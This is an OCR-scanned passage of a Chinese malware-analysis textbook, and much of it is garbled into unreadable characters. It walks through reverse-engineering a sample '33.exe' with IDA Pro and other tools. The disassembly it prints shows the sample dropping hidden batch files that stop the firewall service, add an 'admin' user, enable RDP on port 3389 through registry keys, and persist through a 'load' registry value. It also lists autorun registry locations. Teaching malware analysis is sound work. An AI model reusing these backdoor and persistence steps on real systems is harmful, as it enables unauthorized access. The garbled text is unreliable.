Exﬂxiﬁﬁm qﬁ-i : Elé{” Tﬁ‘&n LA ATRIERTE.

F9-38 BiMELHER
¥ ApateDNS, & L&A SnternetdE4T I 18], WIFE9-39FT7~, i B &A1
T4 7EJE 61 18] P9 Bl F 2 HoAb w55 .

I¥ ApateDNS E=]r=]
Capture Window |DHS Hex View
Time Temain Requested IHS Returned

[+] using 127.8.8.1 as return DNS IP!

[+] DNS set to 127.8.8.1 on Qualcomm Atheros AR9485WB-EG Wireless Network adapter.
[+] sending valid DNS response of first request.

[+] Server started at 22:4@:45 successfully.

E9-39 ApateDNS#{Fk
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D U

A N RESRERAER

FRRIEN BN, RIHE I A A —AN S P, AT CLHE T % 55 R FH CMD iy £ 34T
TR PEsinEetE, wE9-40fR.

y

Windows
4, WEEEHE AL

E9-40 Windows& R HE
RIS R RS, B PR TR BT IR L B4 .
HOLEFPED#T AT, WE-415R, EFREGRERHIFRAHMT.

72 PEiD ¥0.95 [= )5
Fille: i:\Documents and Settings)admin S Y33 exe i I
Entrypoint: EDL‘IJISDI EP Section: | text
File Offset: H0001501 First Bytes: [55,88,EC,64
Linker Infa: 6.0 Subsystem: [Wwin32 GUI

Microsoft Visual C++ 6.0
|_Mutiscan | | Taskviewer | | options | | about ||  Exx |

[V Stay on top =] [=]
E9-41 =X
TR, A Ll%k#EDependency Walker8t 3 Stud PEXTILAE FH 1) & HUM AT 704y, 7E
KERNEL32 DLL# K1 $h, CopyFileA 5CreateFile A% (LK 9-42) YE X3 Hix
BREH “33.exe” AHBNRRLGH K.

FI_ | Ordinad * [ Hint | Function | Entry Foint |
[N 27 [0x001B) | ClozeHandle Hot Bound
[ -] (0x0023) Hot Eound
£ | §a 52 (0x0034) | CreateFiled Hot Bound
B | wa 125 (0x007D) | ExitProcess Hot Bound
K |FA 170 (0x004k) | FlushFileBuffers Hot Bound
B | WA 178 (0x00B2) | FreeEnvironmentStringsA Hot Bound
E1 |F/A 179 (0x00B3) | FreeEnvironmentStringsH Hot Bound
E] | §a 185 (Dx00B9) | GetACF Hot Bound
Bl | wa 191 (0x00BF) | GetCFInfo Hot Bound
B |wA 202 (DxOOCA) | GetCommandLined Hot Bound
B | wa 247 (0x00FT) | GetCurrentProcess Hot Bound
B |Fa 262 (0x0106) | GetEnvirommentStrings Hot Bound
E] | WA 264 (0x0108) | GetEnvironmentStringsH Hot Bound
B | WA 265 (0x0103) | GetEnwirommentVariableA Hot Bound
E] |§a 277 (0x0115) | GetFileType Hot Bound
E] | WA 282 (Mx0114) | GetLastError Hot Bound
B |Fa 282 (0x0124) | GetModuleFileHaneh Hot Bound
E] | wa 284 (0x0126) | GetModul eHandl ed Hot Bound
B | 305 (0x0131) | GetDENCE Kot Bound
E] | WA 318 (0x013E) | GetProcAddress Hot Bound
B | wa 336 (0x0150) | GetStartupInfol Hot Bound
E | FA 338 [0x0152] | GetSidHandle Hot Bound
= |wa 339 (Dx0153) | GetStringTyped Not Bound
B | W 342 (0x0196) | GetStringTypel Hot Eound
B | WA 345 (Dx0153) | GetSystemDirectoryh Hot Bound
B |8 372 (0x0174) | GetVersion Hot Bound
B |Fa 373 (0x0175) | GetVersionExh Hot Bound
B | WA 409 (0x0199) | HeapAlloe Hot Bound
B | Fa 411 (Dx019B) | HeapCreate Hot Bound
E] |§a 413 (0x019D) | Heapllestroy Hot Bound
K] — 1 : b (]

E9-42 KERNEL32.DLL (1)
LoadLibraryA H K3 B DLLICH B, R4 F 2% KERNEL32.DLL, WinExecH]>k
PATFRF, WriteFile 25 A, WE9-43F7R.
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Bl |Wa 447 (0x01BF) | LCMapStringh Hot Bound
E] | /A 448 (0x01C0) | LCMapStringh Hot Bound
EJ |WA 450 (0x01C2) | LoadLibraryh Hot Bound
E] | ’/A 484 (0x01E4) | MultiByteTolideChar Hot Bound
BEJ |waA 559 (0x022F) | Rt1Vnwind Hot Bound
E] | WA B18 (0x02BA) | SetFilePointer Hot Bound
EJ |8/a 621 (0x026D) | SetHandleCount Hot Bound
E] |8a B36 (0x0Z2TC) | SetStdHandle Hot Bound
E] |®A BT0 (0x029E) | TerminateProcess Not Bound
E] |8/a B85 (0x0ZAD) | UnhandledExceptionFilter Hot Bound
Bl | WA 99 (Ox0ZEE) | VirtualAlloc Hot Bound
Bl | WA 703 (Ox0ZEF) | VirtualFree Hot Bound
E] |w/Aa T22 (UXUQDEJ 'l'lidefharTUMultiByle Not Bound
0] ; (1] Hot Bound
= (Uxuan) friteFile

ExitWindowsEx ( 1,
ARG E R T H L.

E9-43 KERNEL32.DLL (2)
H 2R TEWindows 248 FMEME %

E9-44) RKHFERF,

33,1
o [ XERMEL32. nu.

o El ADVAPI32, TIL

Ordiral * | Hint

| Funciion

| Eniry Poizt

JUE

211 {00003 | Bei thindonskx

[ Bot Bound

BRI, BREEA.

E9-44 USER32.DLL
WE9-4SF i B G = MESuEMR MR BN Z /530 “3389” MW E. &R
BRERAT AT, AR EEM A 7RSI TT R IR s, SR ki, &7

0 »BE
7 O FERWEL32.DLL
®- @O wsEE L
i 0vP132. DLL

PI | Ordinal * H.mt Function

] [Wa 3 (0x0017) | AdjustTokenPrivileges
E] |wi 245 (0xD0FS) | LookupPrivilegeValueh
B | W 322 (0x0142) | OpenProcessToken

E] [1/a T (0x015B) | Reglloseley

H/A 351 ([0x015F) | ReglreateKeyExh

B | W 390 (0x0188) | RegSetValueExh

AR FHIDA Pro (

E9-45 ADVAPI32.DLL
111722 UGS SRR T iz, sl s B IRV 4% T R——IDA Pro/OD, AKX

JLFE9- 46) TRBHATRE IR

IDA 6.5.140124

Bile Edit Jump Ss Vier Opiionz Hipdows X

Trocessar tgpe

’E’m& B4 s DOt

WetafC (disassemble 4l opeodes) [metaped

Loading zeguent (200000000 ]

Losding offast [Cx00000000

Uptions

falysis
" [¥] Bnsliled
| A e

o Fd X

Creste segents [

Eernel options |

[ 1oad pesources
[] Bename DIL eniries

[ Banual Toad (

Eernal opticms 2

Fill seqment paps

[#] Create imperis segnent |

Erocessar options

[l Crasts AT growp

ILL directery |C:"YINDOYS

L or [ camea J[ #ap |

El9-46 IDA Pro
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O

S \\\\

RESRERAER

MHOKAEHIVEN E S0, MW E9-47FT /~ i Sl gn LA S . IDA Proid 7 #7

B, & ST galiTie, mE9-48F k.

A
File Edit Junp

Search View

Documents and SettingsiadeinAFM133. exe

Debugzer Options YWindows Help

S H -

B B 3 (B0 e A X > OO e ¥ % ] @

1 T

-text:B6401000
-text:80u81000
-text:00401000
-text:068401000
-text:00401000
-text:88401000
-text:8Bu81008
-text:B8401000
-text:80u81000
-text:00401000
-text:B8401000
-Text:uB4uivgy
-text:00401000
-text:80401000
-text:88481008
-text:88401000
-text:8Bup1000
-text:B0401000
-text:00401000
-text:00401000
-text:88401000
-text:88481008
-text:B8401000
-text:80u81000

Library function Data [l Regular function || Unexplored ] Instruction  External symbol

TOA View-A [x] ‘ =] e el 8| A Structures g
.text:00401000
.text:00461008 ; File Hame : G:\Documents and Settingshadmin\iE[E\33.exe
-text:00481800 ; Format : Portable executable for 88386 (PE)
.text:80401808 ; Imagebase : hpeees
.text:8B4810088 ; Section 1. (virtual address 08081888)
.text:804010088 ; Virtual size : BOBBL4E78 ( 200888.)
_text:p0481008 ; Section size inm File : 0OBO5SABO ( 20480.)
.text:004010080 ; Offset to raw data for section: 00001800
.text:00401000 ; Flags 60008028: Text Executable Readable
.text:004010088 ; Alignment : default
.text:080401808 ; 05 type :  MS Windows
.text:Bpue10088 ; Application type: Executable 32bit

include uni.inc ; see unicode subdir of ida for info on unicode

. 6B6p
- mmx
-model flat

; Segment type: Fure code
; Segment permissions: Read/Execute
_Text Segnent para public "LUDE" usedz
assume cs:_text
;org 481886h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

==SUBRODUTIMNE

; int _ cdecl sub_4810008{HKEY hKey, LPCSTR 1lpSubKey, LPCSTR lpUValueMame, BYTE xlpData)
sub_LB16688 proc near ; CODE XREF: sub_h01188+921p
; WinMain(x,x,x,x)+1BLp ...

hKey = dword ptr 4

00001000 00401000: sub_401000

E9-47 AT

& = i =) 0 BaE T R
push 1] : dwOptions
push a ; 1pClass
push a : Reserved
push esi 5 1pSubliey
push ecx ; hkey
call ds:ReqCreateleyExn
Test Bdx, edx
iz short loc_s@10c9
T = =)
i N, 2 )
e B2 b=
push esi
push offset aErrorMoRegerea @ "error no RegCreateleyEx %sin™ loc_4BiBC9:
call sub_461408 mow esi, [esp+4+rlpUalueHame]
add esp, 8 now eax, [esp+i+lpSubley]
pop esi lea edx, [esp+i+bata]
retn push 4 ; chData
push edx ; 1pData
push 4 ; duType
push i} ; Reserued
push esi ; lpUalueHame
push Bax ; hiey
call ds :Reg3etUalueExA
test eax, eax
j=z short loc 4816F2
o) I 1 A
¥ 9/ a2 L]
e = s B
push esi
push offset aErrorHoRegsetu ; "error no RegSetUalueEx %sin'| |loc_h@18F8:
call  sub_401408 noy ecx, [esp+4+1psubKey]
add esp, 8 push ecx ; hKey
pop esi call dszRegClosekey
retn pop esi
retn
b LB4AAR e

FEXARGE, FAaFEAEOTE, BERNASOTE, headrERnilan

EF9-48 EFER

PREAAFR, IR FARN] L X offset AT FE
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IDA ProI AR FITiAE . ERIEEt, AEfkORRIEAREEZSR
HkE:, SFEFk@FNZBEECRE, A LNRRRAETRABEE, W EREk
JUIBT: R T (B2 % NN

IR MR BT, X BAT B 7 B 1 B AR AT RIS 34 . $UAT View—subviews—
Imports#iy4, T FF K Imports i [ 1 F9-49F 71

IDA View-A B | = Hex Visw-A
Ordinal Name Library
LookupPrivilege¥alueh ADVAPISZ
AdjustTokenFrivileges ADVAFISZ
ReglreateKeyEuh ADVAFISZ
RegSetValueExh AVAFTIZZ
RegllozeKey ADVAPISEZ
OpenProcessToken ADVAPTSZ
CreateFiled KERNEL3Z
GetVersionExh KERHELSZ
WriteFile KERNEL3Z
GetStringTypell KERNEL3Z
GetStringTypeh KERNEL3Z
CloseHandle KERNEL3Z
finExec KERHELSZ
GetSystemDivectoryh KERNEL3Z
GetModul eFi1leHamed FERHELZZ
CopyFileh KERNEL3Z
GetCurrentProcess KERNEL3Z
GetModul eHandl eh KERHELSZ2
GetStartupInfoh KERNEL3Z
GetCommandLined KERNEL3Z
GetVer=zion KERHELZZ
ExitProcess KERNEL3Z
TerminateProcess KERHELS2

E9-49 Imports5E
fZCul+FA &8, 2038 AE¥EEInports A AR AR, Bie B3#EREM B ZR
¥, sGikCreateFile AR, RGNS EHARIL g AHE (LE9-50) , 7Eibghnl LUE H
bR HUT R IS5

_idata:ABUARAIC ; HANDLE _ stdcall CrpateFileA(LPCSTR 1pFileMane, DWORD dwDesiredAccess, DWIRD dwShareMode, LPSECURITY_ATTRIBUTES IpSecurityfttrih

.idata:0ohdéB1C extrn CreateFileA:dword ; CODE XREF: 5u|1_!|ll1238+1B|‘p
.idata:peupseic H 5Ub_'—¢012[:0'1B‘|p
.ldvata:pe4pce1c s DATA XREF: ...

Bl9-50 EHBIRICH S mE
ZBCul+ XA &8, RahXreffm (XXGIHD CLE9-51) , XEFIH T o K A
4 b1k LA 45 A P B O

Eﬂ xrefs to CreateFilelk |E‘x
Directi Ty; Address Text

ip sub_401230+1F call ds:CreateFileh
2] Up p sub_4012C0HLE call ds:CreateFiled
2] \p r  sub_401230+1F call ds:CreateFileh
52| Up r  sub_4012C0+1E call ds CreateFileA
@ Dess o rdata: 00408504 dd rva CreateFiled ; Import Address Table

[ ox ][ cenca |[ searcn J[ melp |

Line 1 of 5

E9-51 XrefRmH
EFEHbEsub 401230+1B, HEAREEAE, il T DLIE 2 1 E 211 o/ 30
i I ThREAOS AT I A RE (ULEI9-52, FE9-53) .
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O BESRERANEE

var_CD= byte ptr -08CDh
sub esp, 184h
push ebx
push a ; hTemplateFile
push 2 ; dwFlagsAndAttributes
push 2 ; duCreationDisposition
push (] ; 1pSecurityattributes
push 2 ; dwShareMode
push 480008806h ; dubDesiredfccess
push offset CmdLine ; “del.cmd”
call ds:CreateFilen
nov ebx, eax
test ebx, ebx
jz short loc_4812AD
d ea 5
push esi
push edi
mov ecx, OCh
mowy esi, offset aNetStopShareda ; "net stop sharedaccess \rin del 33.exe \"...
1lea edi, [esp+116h+Buffer]
xor eax, eax
rep movusd
movsy
movush
mou ecx, 33h
lea edi, [esp+11Bh+var_CD]
rep stosd
stosb
lea eax, [esp+110h+Humber0fByteskritten]
push [¢] 5 lpOverlapped
push eax ; lpHumberOfBytesWritten
lea ecx, [esp+118h+Buffer]
push 64h ; nHumberOfBytesToWrite
push ecx s lpBuffer
push ebx ; hFile
mowv [esp+124h+NumberDfBytestritten], @
call ds:WriteFile
push ebx ; hobject
call ds:CloseHandle

E9-52 CreateFileA (1)

prnren — [
mouv [esp+124h+Number0fBytesWritten], 8
call ds:WriteFile

push ebx ; hObject

call ds:CloseHandle

push 6] ; uCmdShow

push offset CmdLine ; "'del.cmd”

call ds:WinExec

pop edi

pop esi

'

a e =
loc_40612AD:

pop ebx

add esp, 104h
retn

sub_%481238 endp

[El9-53 CreateFileA (2)
ME9-53FF T LAE H, & sem AR 19 /2 % iF offset CmdLineft] “del.emd” &), %5
% Ja 3L f1aNetStopShareda i £ & 2K 7 &, 7T LA % B M BRIt 2 /2 5518 F CreateFileA
BB T — N CMDar 23, R[]l —ANL ) AjiE, [E GRS WriteFile T B i ar %, 5K
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LK PG KL SR SO S ThRe. RJE, Ml RE N WinExecmt R
BAT% “delemd” MR A&, HHEELE O NEBRES, X2 hft it Jump S
A Z NI BATHProcess Monitorfy#ll 2] T CMDAE—BFAIBAEHZ )G, “33. © &a » =
exe” PRV RIIRE, HoteT IR R A PFR . :

2 AT LU R 4 A Tamp 3 RO (HLPo-54)  oDd FISEER
[8] 31 W A" [f) CreateFile AR B A 1, AR5 I Hi Xrefik #5524 M hiksub 4012C0+1B, FiE A
T

WG ] “del.emd”  “add.cmd” AFRS 2T REEIAXT HE, ZISFENEEIT 4 “net
user admin” KIS IFTE ', BB T AUETR I o BLE #0544 Jyadmin,  @1EI9-55F 7.

var_95= byte ptr -95h

sub esp, 184h
push ebx

push a ; hTemplateFile

push 2 ; duwFlagsaAndattributes
push 2 ; duCreationDisposition
push a ; lpSecurityattributes
push 2 ; dwShareMode

push 48008006h ; dubesiredfccess

push offset FileName ; "add.cmd™
call ds:CreateFilen

nov ebx, eax
test ebx, ebx
jz short loc_48133D
e =
push esi
push edi
mou ecx, 1Ah
mov esi, offset aNetUserAdminNe ; 'net user admin \r\n net user admin admi'...
lea edi, [esp+11Bh+Buffer]
Xor eax, eax
rep mousd
mousy
movsh
nov ecx, 25h
lea edi, [esp+11Bh+var_95]
rep stosd
stosb
lea eax, [esp+11Bh+Number0fBytesWritten]
push 8 ; lpOverlapped
push eax ; lpNumber0fBytesWritten
lea ecx, [esp+118h+Buffer]
push 64h ; nNumberOfBytesTolrite
push ecx ; lpBuffer
push ebx ; hFile
noy [esp+124h+Number0fBytesWritten], 8
call ds:WriteFile
push ebx ; hObject
call ds:CloseHandle
push 5] ; uCmdShow
push offset FileName ; "add.cmd"
call ds:WinExec
pop edi
pop esi

E9-55 CreateFileA (3)

BJE, ACESHRAGRERINETHE .

HANDLE CreateFile(

LECTSTR lpFileName, / /EEHFRFRAIEE
DWORD dwDesiredAccess, / /iREIABR
DWORD dwShareMode, /IEZEAR
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LPSECURITY ATTRIBUTES lpSecurityAttributes,//&Z£&EM%

DWORD dwCreationDisposition, / / BIBIRE
DWORD dwFlagsAndAttributes, /IR
HANDLE hTemplateFile / /AR EIAR

2

HAERNR— TSR E

» LPCSTR: 4+FH$ LAY, BE—AMAFEFHPE, FHL 07 &L, iTHRIFA
Hlp;

» DWORD: M F (324%) #§RHF 5 KEE42, FTRFIRAdw, 5Z AL HWORD
XA, AFF (164%) , W%w

» HANDLE: 16)4%5, #% A T Windows APLE& =} %,

> HWND: 'fga’r:r 4] 4%, AEARIR Ah;

> BOOL: 7 R14, 7% Hb;

> UNIT: unsigned int, K45 &4,

LPSECURITY ATTRIBUTES N —ANghi#)ik, BARMRMEIT.

typedef struct SECURITY ATTRIBUTES {

DWORD nLength; /1 BRI

LPVOID lpSecurityDescriptor; //&EHIRTT

BOOL bInheritHandle ; /1T EREE B2 %K
} SECURITY ATTRIBUTES;

T HERIRIRSEE E .

(1) IpFileName— M1 B K S 8 A2 E0E SCIF ) 2 R

(2) dwDesiredAccessi & AGENERIC READ |GENERIC WRITE, BT A TS k.

(3) dwShareModer] L4 A0,

(4) FILE SHARE DELETE, FILE SHARE READ, FILE SHARE WRITE${Ti&
N A RIAATTIEEE D ATER . AT, ATE.

(5) LPSECURITY ATTRIBUTESIJi#fi ¥ #% & AHNULL.

(6) dwCreationDisposition, FRX XFIAESBIPATHAT A, 4373048:

» CREATE ALWAYS (®]3# L, FZ Az XH4E, NWEERSE LA .

> CREATE NEW (&334, XHFEIRE) .

» OPEN ALWAYS (MR AE#HEIELMH)

> OPEN _EXISTING (XML 244E) o

> TRUNCATE EXISTING (XK EHE) .

(7) dwFlagsAndAttributes, 58— B E AFILE ATTRIBUTE HIDDEN, 52
SO AT B R A o
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(8) hTemplateFile, # AR i & ANULL.
B st AT AHERT “del.emd” PAK “add.cmd” [fJCreateFilelid B A=k BEH—/MUMR
Handle x> CreateFile iR [F]{H, Bf

HANDLE X X X = CreateFile("del/add.cmd",GENERIC_WRITE, FILE SHARE

WRITE, 0, CREATE ALWAYS, FILE ATTRIBUTE HIDDEN, NULL);

AT R? 52l T O S #E, T PmaX X s ET, A
WriteFile pR R 5L

BOOL WriteFile (

HANDLE hFile, /1 SCHEIAR

LPCVOID lpBuffer, /I BEANBBEFXMES

DWORD nNumberOfBytesToWrite, //BANFETEH

LPDWORD 1pNumberOfBytesWritten, //FBFRELEBAZSHMIES
LPOVERLAPPED lpOverlapped // BTFHERFI/oOFHEENEMIE

);

REIR, FEARPI ) WriteFilepk 2138 11> 2 #(hFiles& 2§ 1 F CreateFile ik 20 81 2 /Y
xxxA)ii . 24 ZHlpBuffer LA & 5345 #HnNumberOfBytes ToWrite N 2 I >R 5 N A i/
S PR, 244924 IpNumberOfBytesWritten 5 7] 5 fr B A KIS, &fE—1
IpOverlappediffi % #% & ANULL.

Z G AT & CloseHandleph £, [ 24 Z 1 A CreateFile i G & T —A- < xf) 4,
TECM I B B AR 45 R LA S ZR XA, AR 4 0 Ath b6 300% F 9F BB SR 48 9 % B2 U5

(HANDLEAJAR%E5) «

BOOL CloseHandle (
HANDLE hObject //GIfE&
);
CloseHandle (X X X); //BtOI AR HIGI4R 7

A, WEFH WinExec R EUIZ I TCMD iy S 1TTER, BN R T . WinExecbR#
WEPWINSH, HAWT:

UINT WINAPT WinExec (
_In  LPCSTR lpCmdLine, //fn&fTREEEH

_In_ UINT uCmdShow / /S EA

02

F11MZHIpCmdLine & Z FIAEBIICMDIEF, 2 ZH uCmdShowtR 1 73 #r 5k F NI
efadE M, Wl EHNSW_HIDE.
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WinExec("del.cmd", SW HIDE);//BEAZTRES

i A MSDN (RURIREER KR BESE W T H) , WL TMREESE0ENE
B, 1RG4 U CrateFile AR [ AN R R Gi 5 77 A N ASCITES, W 7R Unicodei ),
Ex | &7~ B K A o

BT REEIZWREN F33890TFE i (LE9-56) .

non

Tpoatas guora por ron
mov ecx, [esp+hKey]
push esi
mov esi, [esp+h+1pSubKey]
lea eax, [esp+u+1pSubKey]
push 8 ; lpdwbisposition
push eax ; phkResult
push a ; lpSecurityattributes
push OF 663Fh ; sambesired
push [} ; duwoptions
push a ; 1pClass
push a 5 Reserved
push esi ; 1pSubKey
push ecx s hKey
call ds:RegCreateKeyExA
test eax, eax
[~ L =] e 5
push esi
push offset akErrorNoRegcrea ; "error no RegCreateleyEx %s\n™ loc_u910839:
call sub_4014D0 nou edx, [esp+i+lpData]
add esp, & push edi
pop esi nov edi, edx
retn or ecx, OFFFFFFFFh
xor eax, eax
nov esi, [esp+8+1pUValueName]
repne scash
not ecx
dec ecx
push ecx ; chbata
push edx ; 1pbata
nov edx, [esp+16h+1pSubKey]
push 1 ; duType
push eax ; Reserved
push esi ; 1lpUalueName
push edx ; hKey
call ds:RegSetUalueExA
test eax, eax

odi

El9-56 FMEITE (1)

1R B BN\ Ho Al B )3 A 3R B i RegCreateKeyExA . RegSetValueExA. RegCloseKey
350, ZE R AR PR/ 218 S BT Regshot (RIEAG AV E T A BE(EH,

Bz

HEKY LOCAL_ MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\RDPTcp

HEKY LOCAL_ MACHINE\SYSTEM\ControlSet001\Services\RDPWD\Enum

HEKY LOCAL MACHINE\SYSTEM\ControlSet001\Services\TDTCP\Enum

HEKY LOCAL MACHINE\SYSTEM!\CurrentControlSet\Control\Terminal Server\RDPTcp

HEKY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\ RDPWD\Enum

HEKY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\TDTCP\Enum

HE.

AW — PR, EXANMEREFRegCreateKeyExA KT FF/GIEE DL Iy EM R, I+ EIRE
G — AR . X E I AN BT AU, o R e BOR F ROUR [l error ) ELIE HY
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o BT TF/BNEFE T B E FiRegSetValueExA X iZ B H AT B . PB4k 4 Il —

/\;’k#ﬁh% G, Wl TR L S ESURThIAT A, R A SRR [ElerrorfR 5
B ARESRI) M FiRegCloseKey K AR, ﬁﬂ@9 STHT 7R

call ds RPgSPrUalup[xn

test eax, eax
pop edi
jz short loc_401074
L
¥
s = e =
push esi
push offset akErrorNoRegsetv ; “error no RegSetUalueEx %syn™{ [loc 4816874:
call sub_4014D0 mov eax, [esp+i4+1pSubKey]
add esp, 8 push eax ; hKey
pop esi call ds :RegCloseKey
retn pop esi
retn
sub_481008 endp

El9-57 FEMERTE (2)
Fr#MSDN, MRS EaHTiX =R 5L

LONG WINAPI RegCreateKeyEx (

HKEY hKey, //HKEY: FHFRARE

LPCTSTR lpSubKey, /¥ B RE

DWORD dwReserved, /1 BEAINE R0

LPTSTR lpClass, / /A PEXRZE, TR ANULL
DWORD dwOptions, / /IR

REGSAM samDesired, / /R EIAR

CONST LPSECURITY ATTRIBUTES lpSecurityAttributes, //Z2&EM
PHKEY phkResult, // BRBWHTH/ Q2 REN TR
LPDWORD phkResult E 3-%55 <

)

FINSHhKeyMEEFRTMERBE R P2 —, FEIERREALITSA.

» HKEY USERS: A HAA R P 6945 8, QR8F Fruks 2 &,
> HEKY CLASSES ROOT: &ALk 6943 8

» HEKY CURRENT USER: &4 43 24698 P13 &

> HEKY CURRENT CONFIG: & & L7 F e R %mERZ L.

» HEKY LOCAL MACHINE: &#&{H1E 8, e4safeit Jug P ey s,
E T J R s 1 “33897 ThAgHfixE :
FINSHWEFENHAITEAREKHEKY LOCAL MACHINE.

F21Z HpSubKey M) ¥ & K 2 T RegshotfR B8 48 15 2 1) 3 M e S O bk .
B3NS HdwReserved i B 0.

F4NSHpClass# H P e & X2, WHNULL.
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#5542 $dWOptions ¥ & HREG_OPTION BACKUP_RESTORE. REG_OPTION
CREATE LINK. REG OPTION NON VOLATILE, REG OPTION VOLATILEZ —,
HAH 9 WREG_OPTION NON VOLATILE: {5 B{REAHF, FiEZ R4
f#. REG OPTION VOLATILEf; BREENFH, B ZEREME.

%6/ HsamDesired, —f¥IAKEY ALL ACCESS, k2 Rvrpia e,

F712HlpSecurity Attributes+g [7] () AR o 4% 4 W ¥ B W NULL.

84S HphkResultm] AR ) & AT R — /MR B R dhhk, 4k 35 fh v M 22 oR B4
Hl, & XIKEY hKEY, W2 %% E b &hKey.

B 5 —1"Z¥ AREG CREATED NEW KEY (FTF@IFFEMNITIF, A7)
B #REG_OPENED EXISTING KEY (4 BAUY FRAFERITIT) .

HRegCreateKeyEx QI B F AT T — A T8ME/E, T KHE I FHRegSetValueExXf H:

BRAEBEITIE 4
LONG RegSetValueEx (

HKEY hKey, / /R
LPCWSTR lpValueName, / I REELNRERR
DWORD Reserved, //EEHO
DWORD dwType, / /BENHEIEXT
CONST BYTE* lpData, //BEEEEREMNEAX
DWORD cbData / 1 BFR KN

Iz

A ) ZE—hKey il 47 5 B A RegCreateKeyEx H [fJphkResult ) ZEHKEY .. S5—
BETHEEGEAERNER L, FikSH " IpValueName H & B ARMENES. S5
UdwTypelli % % & HWREG DWORD (i TEHNFRAE) HEREG SZ (HTEBHFH
HRR, SZ (string zero) RoanullZ5RHIFRFE) o S HlpDataix B A5 In 8 & HE L%
WX (BMEENEHRE) 355 . S80S cbDatarn] LU id strlenpfi £/size of B0 715 H
KRB F45 B F R M I KD

A RFM BN HJE — A E RegCloseKey M JEF 7] .

LONG RegCloseKey (
HKEY hKey
/ /& B A ZBIHRegCreateKeyExIRBIFIZHphkResult, X 2iFE AhKey

) ;
ZWRRE - N RERENBSERHHFEAREHR, BdESUEMKHKEY
CURRENT USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows, 1&t&load#
ERATITHLE S - B SEE M REAT B B TR A LT LA

HKEY LOCAL MACHINE\software\Microsoft\WindowsNT\CurrentVersion\Winlogon!
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UserinitB{H F il % Luserinitexe, GES[EI[E) HREF.
HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion'\Policies\Explorer\
Run
HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
\Run
HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce'\Setup
HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
(Windows XP)
HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY LOCAL_ MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY CURRENT USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
HKEY LOCAL_ MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
e AR SR 12, TR TAHERET $i Aregedit, #£FIHEKY CURRENT USER\
Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows 7] 4l “33.exe” #EHIFI RS HF
system32 F (WLE9-58) , JfFHIEIdEHloadt{E, HATHE, WE9-590R.

sub_481188 proc near
Filename= hyte ptr -284h
Buffer= byte ptr -206n
suh esp, 384h
3 lea eax, [esp+304h+Buffer]
@ a|[ == = nE e
{3 errins [aB] @tih) REG 5T EHEFHE) bush  eai
i {03 IEaK [28]10aa REG_SZ C: \PTEDOWS  sp=4 emd2N33. exe push 280h : utize
! 0 ez push pax ; lpBuffer
= call ds:GeLsystemblrectorvn
@ @ Internet Explorer = ||| BESH®: e B e
& (0 Eeyboard [Load | xor eax: eax
& [ WedisPlayer "] mExEw: lea edx, [esp+310h+Buffer]
(3 Mezsengerfervice : vepne scash
63 Microsoft M " [C: \WINDOWS \sy= tem32133. exe ] s i
e -
-] HetDIE push 1848 : ntize
@ (3 HetShow mou esi, eoi
(0 Fotepad mou ebx, ecx
(0 Febaclop mou edi, edx
& (] Outlook Express o BCX, BFFFFFFFFR
-3 Plus! repne scash
-1 Frotected Storage Sys mou pex, ehy
{1 R4S Phonsbook dec pai
&0 RegEdt32 shr BCX, 2
{{Q SAPT Layer Fep nousd
& (0 Schedulet mou ecx, ebx
&-{{] Search Assistant lea eax, [esp+314h+Filename]
{3 Security Center and ecx, 3
{2 Speech pusn Bax ; lpFilename
&1 SystenCertificates rep nowsb
#-1 ¥indows push ] ; hHodule
i = call ds5:GetHoduleFileNanen
lea ecx, [espr31bh+Buffer]
push 1 ; bFaillfEwists
1ea edx, [esp+314htFilename]
push BCX ; lpHewrileHame
push adx ; lpExistingFileNams)
call s :CopyFilen
pop edi
pop Bgi
test Pax, Pax
pop ebx
j= short loc_h8121A
E9-58 regedit E9-59 FMEAR (1)
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RESRERAER

T RIS IDA Pro B B iz ik 72 .
ik NImports 5 [ € {7 #|CopyFile, BiJE M Xref (Ctl+X41E%5E) ki 2 & 9-60 7
I TS -

lea ecx, [esp+318h+Buffer]

push 1 ; bFaillfExists
lea edx, [esp+314h+Filename]

push ecx ; lpHewFileName
push edx ; lpExistingFileName
call ds:CopyFilen

pop edi

pop esi

test eax, eax

pop ebx

jz short loc_48121A

//

e =

lea eax, [esp+384h+Buffer]

push eax ; lpbata

push offset ValueMame ; "load"

push offset SubKey 3 "Softwarel\Microsoft\\Windows NT\\Curren™...
push 8086000681h ; hiey

call sub_481000

add esp, 10h

f

@ e =

loc_h@121A:

®O¥ eax, eax
add esp, 304h
retn

sub_481180 endp

E9-60 FEMEBER (2)

H5E, TR GetSystemDirectoryAiR %, Wil iZEMAH AL HF, WL
system32[0L BEHTTE (RGEA EHECH) .

HIK, 1 GetModuleFileNameAK £, 1ZBAE/EA R B I X EBE R, KR
T E#EE A CopyFileAE %L, TTLLTE41, GetModuleFileNameA B¢ H (2153 “33.
exe” W EAKFTFEALE, SRJ5H T CopyFileA R 5 & i3k &4t H 3.

)R, WAL AE R REE KloadB{E, RN “33.exe” BATHEMEAR, WA
9-60F 71~ o

[FIFE I 3L YRS 4T 43 BT GetSystemDirectory A R £ .

UINT WINAPI GetSystemDirectory(

_out LPTSTR lpBuffer, //HHARZBFMNEHKX
_in UINT uSize /T ERRE RN

) ;

ff R AR B, ke e — DM EA R T S MIX (char xxx[256]) , b5
{if F§ GetSystemDirectory(xxx, 256), BiiR%I| T R4 H XK.

DWORD WINAPI GetModuleFileName (
_In opt HMODULE hModule, / /SRR, B ANULLEHER B2 F e s 2
